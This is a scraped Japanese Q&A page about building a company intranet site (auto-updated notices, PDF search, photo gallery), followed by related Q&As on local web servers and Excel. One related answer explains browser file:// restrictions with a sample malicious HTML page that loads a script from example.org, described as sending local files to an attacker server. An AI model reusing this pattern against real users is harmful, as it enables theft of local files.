マンガでよめる痔のこと・薬のこと

現在、会社の社内向けのホームページ作成をトライしていますが、下記の点についてご相談させてください。
*あくまで社内向けですので外部には公開しません。(LAN内のみ)
グループウェアの導入はしておりますが、部内の情報共有が上手くできていないため、作成を行いたいと考えております。



1. 社内ホームページ作成にあたり、トップページにはイベント情報や連絡事項を載せたいのですが、新しい情報に更新したい場合、毎回htmlファイルを編集するしかないのでしょうか?
要は外部にテキストファイルを準備しておき、それを自動的に読み込ませることホームページ側を自動更新させることはできませんか?(イベント情報を編集する時はテキストファイルを直すだけ)
車屋さんのトップページのイメージです


2.社内のデータを共有できるようにデータの検索システムを導入したいと思っています。
データの形式は基本的にPDFで、PDF内の文字列を読み込んで検索できないものかと思っています。
以前、全文検索システムのnamazuを使ってチャレンジしましたが、pdf内の文字列をうまく拾ってくれませんでした。
namazuでも構わないのですが、インデックスの作成が上手くいかなかったため、具体的な使い方を教えて頂ければ幸いです。


3. 1に近い質問ですが、過去の実績として写真を掲載できるページの作成を考えています。
しかしながら、こちらも毎回ページの手動更新をすると非常に手間なので、写真をアップロードするだけでホームページ側の更新が行われるようにできればと思っています。

ページの作成イメージとしてはWindowsの画像とFAXビューワみたいに左右の矢印キーを押すと、次から次へ写真がめくられていくようなイメージです。


当方、CGIやJava等に関する知識がなく、これらについて困っています。
具体例等を交えてアドバイス頂ければ大変助かります。
よろしくお願いします。

このQ&Aに関連する最新のQ&A

A 回答 (2件)

こんばんは。

Web会社の者です。

部内の規模は分かりませんが、マネジメントをされる立場の方と存じます。
ひとつご質問内容に対する懸念なのですが・・・。

部内の情報共有が出来ていないとのことでしたが、具体的な問題→解決のためのコンテンツを準備、といった上でのご質問ではなかったため、スタッフの意識レベルでの統一が図れていない状況でのツール導入と存じます。連絡事項などは紙媒体や回覧板で充分だと思いますので、単なる連絡事項とはまた別の問題を解決なさろうとしているようですね。特にフォトギャラリーの作成を考えられている点を考えると、コミュニケーションが課題になっているかと推測されますがいかがでしょうか。

打開策としてホームページという結論になったかもしれませんが、日々の業務やプロジェクトのマネジメントの内容や社員との付き合い方を工夫してみて、ホームページの導入はそれからでも遅くないと思いますよ。

推測の話ばかりで申し訳ありませんが、ホームページ作成は非常に手間のかかるものです。作った後に「使ってもらえない」「見てもらえない」なんてことになると落胆は大きく、更にそういった話は、われわれのクライアントでも非常によく目にする例です(うちの会社でもmixiと同じシステムを作り社内の情報共有に活用しようとしましたが、案の定、失敗に終わりました)。

せっかく作るのであれば、第一に部内の意思統一を図り、その上でスタッフにアイデアをもらってその内容を反映させる方が、「実」をともなった御社の部内の財産になるのではないでしょうか。なぜ情報共有されていないか?というスタッフ側からの意見も聞ける貴重な場になるメリットもあります。ページのデザインなんかを募集したら楽しみながら参加してもらえるかもしれませんね。頑張ってください!

この回答への補足

アドバイスありがとうございます。

情報の共有化についてですが、同じ事務所内だけの共有ではなく、全国各地にある営業所を含めての共有を目指しています。

また、作成した後に使ってもらえるかどうかと言えば、答えは否だと思います。
実は、もう既にホームページ自体は作ってあり、数ヶ月間だけ仮で公開しました。
その結果、一部のヒトを除いてほとんどのヒトから使えると言う声を聞きました。

一部のヒトが納得しない以上は成功とは言えませんが、納得させるには結果を見せるしかないと思いご質問させていただきました。

必要かどうかではなく、必要だと思わせるのが目的です。

補足日時:2010/05/02 01:45
    • good
    • 1

1.CMSを導入する


2.個人的にはnamazuよりHyper Estraier。
3.アップローダー型掲示板を使う。

この回答への補足

アドバイスありがとうございます

1.のCMSについてですが、導入した場合のメリットについては理解できたつもりです。
しかしながら、具体的にはどのように導入するのでしょうか?
現在の作成したページに組み込むというよりも、新たに作るようなイメージを持ったのですが…

3.のアップローダ型の掲示板ですが仕組みが分かりませんが、具体的にはどのようなものがありますか?


作成環境を書いておりませんでしたが、作成ソフトはDreamWeaverMX2004でwebサーバはapacheです。
また、費用が発生するとNGなので、無料で解決する方向でお願いできないでしょうか?

補足日時:2010/05/01 22:00
    • good
    • 0

このQ&Aに関連する人気のQ&A

お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!

このQ&Aを見た人はこんなQ&Aも見ています

このQ&Aを見た人が検索しているワード

このQ&Aと関連する良く見られている質問

Q社内で利用するWebサイトを立ち上げるには?

プログラムは初心者ではありませんがWeb、サーバーなどは初心者です。
必要な事として何を行えばいいのか教えてください。
環境設定などの開発の準備段階で悩んでいます。

やりたいことは
・社内ローカルネットで複数人に対してWebサイトを公開
・社内サーバー?によるファイルの共有

整えなければいけない環境として何があげられるのでしょうか?
いろいろと調べるとオンラインに公開するための手順見つかるのですがローカルでとなるとどこまでを参考にすればいいのか分からず困っています。

.htmlファイルを作成してそれを編集しWebでレイアウトなどを見るといったことはわかります。
そのファイルなどをどうしたら周りと共有できるようになるのでしょうか?

整えるべき環境、作業の手順などとっかかりの部分を教えてください。
また、ローカルでWebを作成し公開していく方法が書かれたサイトなどを知っている方は教えてください。

Aベストアンサー

はじめに、基本的にwebページの公開ははじめに内部で製作 > 完成したら外部に公開する設定にするという手順で進むので、2つ目の工程を踏まなければ自動的に内部限定での公開となります。以下必要なものと簡単な手順です。

【ハードで必要なもの】
・サーバー(普通の古いノートPCでもいい)
・市販のルーター

【ソフトで必要なもの】
・ネットワークの基本的な知識(CCNA1程度)
・osがwinならXAMPPというパッケージソフトを入れれば一気にサーバーが出来上がります
・XAMPP使わないならLPIC1程度のLinuxの知識
・webサーバー扱うのでApacheに関する知識

【手順】
1. サーバーのIPを固定します。
2. 一応ルーターでポート解放されていないか確認and心配ならwebサーバーの設定で外部からはアクセス出来ないようにする。
3. webサーバーを立ち上げます(=Apacheを立ち上げます)
4. webサーバーで設定している公開ディレクトリにhtmlファイルを置きます。
5. あとは普通に同一ネットワーク内の他のPCからブラウザのURLバーにIP入れてアクセスすればOK
6. もしもhttp://localnet.comなどのホスト名でアクセスさせたいなら、各PCのhostファイルか、社内のDNSにその情報を登録。

はじめに、基本的にwebページの公開ははじめに内部で製作 > 完成したら外部に公開する設定にするという手順で進むので、2つ目の工程を踏まなければ自動的に内部限定での公開となります。以下必要なものと簡単な手順です。

【ハードで必要なもの】
・サーバー(普通の古いノートPCでもいい)
・市販のルーター

【ソフトで必要なもの】
・ネットワークの基本的な知識(CCNA1程度)
・osがwinならXAMPPというパッケージソフトを入れれば一気にサーバーが出来上がります
・XAMPP使わないならLPIC1程度のLinuxの知識
・we...続きを読む

Q社内向けWebページの作成

HTMLを使って社内向けのWebページを作成します。
その中で、毎日の仕事の案件数がどのくらいあるのかを表示する表
を入れることになっています。(30項目ほどの表です)
毎日ソースを修正せずに済むような方法はありませんか?
件数が多いですし、慣れない人も簡単にできれば一番なんですけど。
(Excelに数字だけ入れてそれをWeb上に読み込めるような感じ)
よろしくご教授ください。

Aベストアンサー

更新が簡単なツールは・・・
Movable Type
http://www.sixapart.jp/movabletype/

CMS Designer
http://cms.al-design.jp/
や、
等があります。
個人的にはMovable Typeがオススメです。
操作簡単・高セキュリティ・コンテンツマネージメントシステムとしても非常に役に立ちます。
導入事例もたくさんあるようなので、そちらもご覧になってはいかがでしょうか。
http://www.sixapart.jp/business/

QHTMLからフォルダを開きたい

いつも大変お世話になります<(_ _)>

Webサーバー上にあるWebページ(HTML)の中に、ローカルPCのフォルダを開くリンクを付けたいのですが、
<a href="file://c:\windows">OPEN</a>
としても、何も反応しません。

いろいろ調べたのですが、上記の方法しか見あたりません。

なお、ブラウザのアドレス欄に file://c:\windows と入力すると、フォルダの内容が表示されます。
※Firefoxだと、ファイルの一覧になりますが・・・

何か環境によって挙動が異なるのでしょうか?
それとも、セキュリティ上の観点から最近じゃ出来なくなっているのでしょうか?

是非ともお助け下さい。宜しくお願い致します。

Aベストアンサー

file:///C:/windows/
/は三つでは・・・
 IEの場合はエクスプローラ(ファイルマネージャ)が開くような・・・
 IEはファイルマネージャーと一体のブラウザなので・・・

★実は、ローカルサーバーが必要です。
 apacheでも何でも良いので、WEBデータの入っているフォルダーを
<VIRTUALHOST 127.0.0.1>
C:\Document and settings\my document\web
 とかに指定して、Windowsのhostsファイルで、適当なサーバー名を指定しておきます。
myLocalhost 127.0.0.1
とか・・・

 そうすると
http://myLoclahost/
 で開けます。

 

QHTMLで別PCのフォルダを開く

例えばネットワーク上に”192.168.100.250”というPCがあるとします。

このPCはフォルダウィンドウでフォルダ内を閲覧出来る場合、

別のサーバーのHTMLファイルから、

このフォルダを開く事は出来ますか?

以下のコードを追加して、testをクリックしても何も起こりません。。。

<a href="file:\\192.168.100.250\test">test</a>

どなたかお分かりになる方教えてください。

Aベストアンサー

[ANo.7] の続きね。

Firefox を例にするね。

■ ウェブブラウザのセキュリティ第1段階

1) Firefox でロケーションバーに "file:///c:/" を入力すると、『C:\』のフォルダの一覧が表示される。他のフォルダを入力すれば、同じように、そのフォルダの一覧が表示される。

2) 質問者さんは、悪意のあるウェブページとは知らずに、"http://example.org/akuinoaru.html" をダウンロードして、デスクトップに保存したとする。

その HTML の内容は↓これ。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
  <meta http-equiv="Content-Type" content="text/html;charset=UTF-8" />
  <title>Akuinoaru JavaScript Sample</title>
  <script type="text/javascript" src="http://example.org/akuinoaru.js"></script>
</head>
<body>
  <h1>Akuinoaru JavaScript Sample</h1>
  <div>
    <iframe id="iframe" width="100%" height="600" src="."></iframe>
  </div>
</body>
</html>

3) 質問者さんは、保存した HTML を Firefox で開くとする。

4) すると、デスクトップにあるファイルの一覧が表示される。

5) 『4)』とほぼ同時に "http://example.org/akuinoaru.js" が実行される。

6) akuinoaru.js は、表示されたフォルダの中にあるファイルを、
"http://example.org/akuinoaru.php" へ全て送信するという JavaScript だとする。

ということで、質問者さんの PC の中のファイルが、攻撃者のサーバに送信される。


つまり、『信頼できない HTML ファイルをダウンロードして、ウェブブラウザで開くのはすごく危険』ということ。


■ ウェブブラウザのセキュリティ第2段階

1) ウェブブラウザは、PC にウェブページのキャッシュを持つ。
つまり、自分でダウンロードしなくても、もともと HTML ファイルはダウンロードされているということ。

2) ここで、"http://example.org/akuinoaru.html" は "file:///ウェブページのキャッシュフォルダ/キャッシュファイル" へリンクを張ってあったとする(※)。

通常、このリンクはウェブブラウザによってセキュリティー上無効にされているけれど、これが有効だったとする。

3) 質問者さんは、上のページのリンクをクリックしたとする。

4) 以下、『ウェブブラウザのセキュリティ第1段階』の 『4)』と同じ。

今回は、リンクをクリックする想定をしたけど、実際はクリックしなくても、キャッシュファイルを表示させることができるから、悪意のあるページにアクセスしたら、すぐに、質問者さんの PC の中に保存されているファイルは、攻撃者のサーバに送信されてしまう。

このようなことが起こらないように、http://xxxxxx から file:/// へのリンクは無効にされている。


という説明で大丈夫かな?


※2) 実際には、キャッシュファイルのパスは固定じゃないから、JavaScript でがりがり生成して何回もトライしてキャッシュファイルのパスを見つける必要がある。でも危険なことには違いはない。

[ANo.7] の続きね。

Firefox を例にするね。

■ ウェブブラウザのセキュリティ第1段階

1) Firefox でロケーションバーに "file:///c:/" を入力すると、『C:\』のフォルダの一覧が表示される。他のフォルダを入力すれば、同じように、そのフォルダの一覧が表示される。

2) 質問者さんは、悪意のあるウェブページとは知らずに、"http://example.org/akuinoaru.html" をダウンロードして、デスクトップに保存したとする。

その HTML の内容は↓これ。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional...続きを読む

Q掲示板(bbs)の作り方をおしえて!!(初心者)

こんにちは。
最近、ホームページを作るのにはまっています。
いつも、他の人のホームページを見て思うのですが、掲示板(bbs)の作り方ってどうやるのですか?
初心者でも作れるのような、簡単なフリーソフトや、市販ソフト、作り方が記載してるページ、を教えてください。

よろしくお願いします。

Aベストアンサー

掲示板は、初心者が作るには結構歯応えのある代物です野で、他の方がおっしゃっているように、レンタルがおすすめです。
カスタマイズの効くレンタルBBSなら、外観をいじって、あまり違和感のない見え方に出来るかと思います。
参考URLは、私の使っている所です。
初心者のうちは使い道がないかも知れませんが、結構面白い機能もありますよ。

参考URL:http://advenbbs.net/

Q社内でWEBサーバー構築

出来たらいいなレベルで質問させて頂きます。(見当違いの場合、ご容赦ください)

現在、様々な業務をExcel(マクロ)とファイル共有でまかなっていますが、
利便性を上げるためにシステム化できればと考えています。

そこでWebサーバーを構築出来ればと思っているのですが、固定IPを取得するには
申請が必要でちょっと面倒です。(ローカルPCをサーバー兼用にしたい)

(動的なIPで)ローカルPCに構築したWEBサーバーを同僚などにアクセスしてもらうことは
できないでしょうか?

インターネットでいうダイナミックDNSみたいなことを社内のネットワークでできないかなと。
(できればローカルPCだけの設定で何とかしたい)

ローカルPCはWin7で、ワークグループを使用しています。

ITに関する知識に疎く、思慮が浅く、見当違いな質問かもしれませんが、
アドバイスをお願いいたします。

Aベストアンサー

ワークグループのネットワークで、同一セグメント内であれば、コンピュータ名でアクセス可能ですよ。
コントロールパネル⇒システムとセキュリティ⇒システム
と操作すれば、コンピュータ名がわかります。
http://コンピュータ名/hogehoge.html
みたいな感じでアクセスします。

Q掲示板の作り方

こんばんは。

パソコン初心者です。
このたび、社内の閉じたLANの中に社内用掲示板を作成することになってしまいました。
コマンドを知らないので、どうやって作っていいのかよくわかりません。
支援ツールやソフトを使って簡単に作れる方法があったら教えてください。
よろしくおねがいします。

Aベストアンサー

> 社内だけのwwwサーバーというのは、いわゆるイントラネットということですか?
> ローカルのIPでブラウザが見れる、というふうに解釈してしまって大丈夫でしょうか。
外部公開していても、イントラネットでも、ローカルエリアネットワークでも、WWWサーバーであれば問題ありません。
ただ、何処までデータの共有を実施するかによって、全ユーザーが閲覧可能なWWWサーバーにインストールすればOKです。
当社のWWWサーバーの場合には、外部(社外公開用)は統括会社で一括管理して、グループ会社間のイントラネットWWWサーバーと社内用のLAN(ルーターを超えない範囲)内のWWWサーバーは社内で管理していますが、インストールしているのは、社内用のLANサーバーです。
まあ、予算があるのであれば、Fuu1962の言われているサイボウズを検討されるのも良いかと思いますが、当社は20万いや10万も予算が無いため、同製品を検討しました。なお、現状はメールサーバーもフリーの製品を使用しています。
それと、聞き忘れましたが、貴社の使用人数が対応出来るかは分かりませんので、その事で使用出来ない場合にはご了承願います。

> 社内だけのwwwサーバーというのは、いわゆるイントラネットということですか?
> ローカルのIPでブラウザが見れる、というふうに解釈してしまって大丈夫でしょうか。
外部公開していても、イントラネットでも、ローカルエリアネットワークでも、WWWサーバーであれば問題ありません。
ただ、何処までデータの共有を実施するかによって、全ユーザーが閲覧可能なWWWサーバーにインストールすればOKです。
当社のWWWサーバーの場合には、外部(社外公開用)は統括会社で一括管理して、グループ会社間のイ...続きを読む

QエクセルのIF関数で、文字が入力されていたならば~

エクセルのIF関数で文字が入力されていたならば~、という論理式を組み立てたいと思っています。

=IF(A1="『どんな文字でも』","",+B1-C1)

A1セルに『どんな文字でも』入っていたならば、空白に。
文字が入っていなければB1セルからC1セルを引く、という状態です。

この『どんな文字でも』の部分に何を入れればいいのか教えてください。

またIF関数以外でも同様のことができれば構いません。

宜しくお願いします。

Aベストアンサー

=IF(ISTEXT(A1),"",B1-C1)

でどうでしょうか?

Qエクセルのセルにカレンダーを表示させ、日付をセルに入力させたい

エクセルについて教えて下さい。

エクセルのセルをクリックすると、
カレンダーのようなものが表示され、
マウスで選択すると、
セルに日付が入力されるようにするには
どうしたらよいですか?

すみませんが、宜しくお願い致します。

Aベストアンサー

#02です。foo-mさんがVBAをお使いになるなら、以下のサンプルをいじってみてください。

このサンプルはC4セルがクリックされたときにカレンダーコントロールを表示して、日付を選んだらその日付をC4に書き込み、カレンダーコントロールを閉じるマクロです。

Private Sub Calendar1_Click()
Selection.Value = Calendar1.Value
ActiveSheet.Calendar1.Visible = False
End Sub

Private Sub Worksheet_SelectionChange(ByVal Target As Range)
If Target.Address = "$C$4" Then
ActiveSheet.Calendar1.Visible = True
End If
End Sub

マクロはシートのモジュールとしてペーストして下さいね

Q社内のみで利用するWebサーバを構築できますか?

教えてください。
社内でのみ利用(外部接続はなし)するWebサーバの構築はできますか?
CGIを使用したいのですが、Webサーバでないと利用できないのでしょうか?

回答の程、よろしくお願いします。

Aベストアンサー

イントラネットで使うのですね。出来ると思いますよ。会社のPCが全てIPアドレスを振り当てられているのであればそのうちの一つを専用機にすればよいだけです。
私は2003年位に普通のWINDOWS98マシンを社内のサーバーとして自分の部署のHPを乗せて運用していました。
但しWin98はメモリー管理がうまくできないため、いろいろ不便があったので最終的にはサーバーマシンを購入しましたが、簡単に構築しようとするのであればサーバーマシンでなくとも可能です。
当該のPCのフォルダを一つ共有設定にしておいてそこにHPを掲載すればいです。あとは他部署からIPアドレス指定でそのHPを見にくればよい訳で。。(会社のHPにそのHPアドレスを登録してもらうか相手にブックマークしてもらうか、いろいろ方法はあります)
あまり詳しくはありませんが、自分がやってきた経験です。参考にしてください。


人気Q&Aランキング